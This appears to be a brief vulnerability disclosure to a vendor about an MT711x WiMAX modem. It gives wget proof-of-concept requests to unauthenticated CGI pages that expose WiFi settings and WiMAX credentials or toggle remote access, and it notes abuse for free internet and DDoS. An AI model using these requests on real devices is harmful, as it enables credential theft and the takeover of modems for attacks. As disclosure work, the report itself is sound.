I used below tools to find the vulnerabilities:

### POCs of the modem:
#Get the WIFI settings>>
wget -c "http://server/cgi-bin/multi_wifi.cgi"

#Get Wimax credentials>>
wget -c "http://server/cgi-bin/wccm_wimax_setting.cgi"

#Enable and Disable connections to modem (as default those are ENABLED)>>
http://server/cgi-bin/remote.cgi


#Ping a system (useful for launching (D)DOS attack)>>

### Conclusion: 
1)the attacker can read sensitive information and set it on his own modem. such: for using free internet.
2)Anyone who can send a packet to the modem for crashing/downgrading/DOS.
3)To obtain the control of similar modem(MT711x) in order to launching DOS or DDOS attacks on targets in WWW(world wide web).  


At the end, I am thankful and I wait for your response.
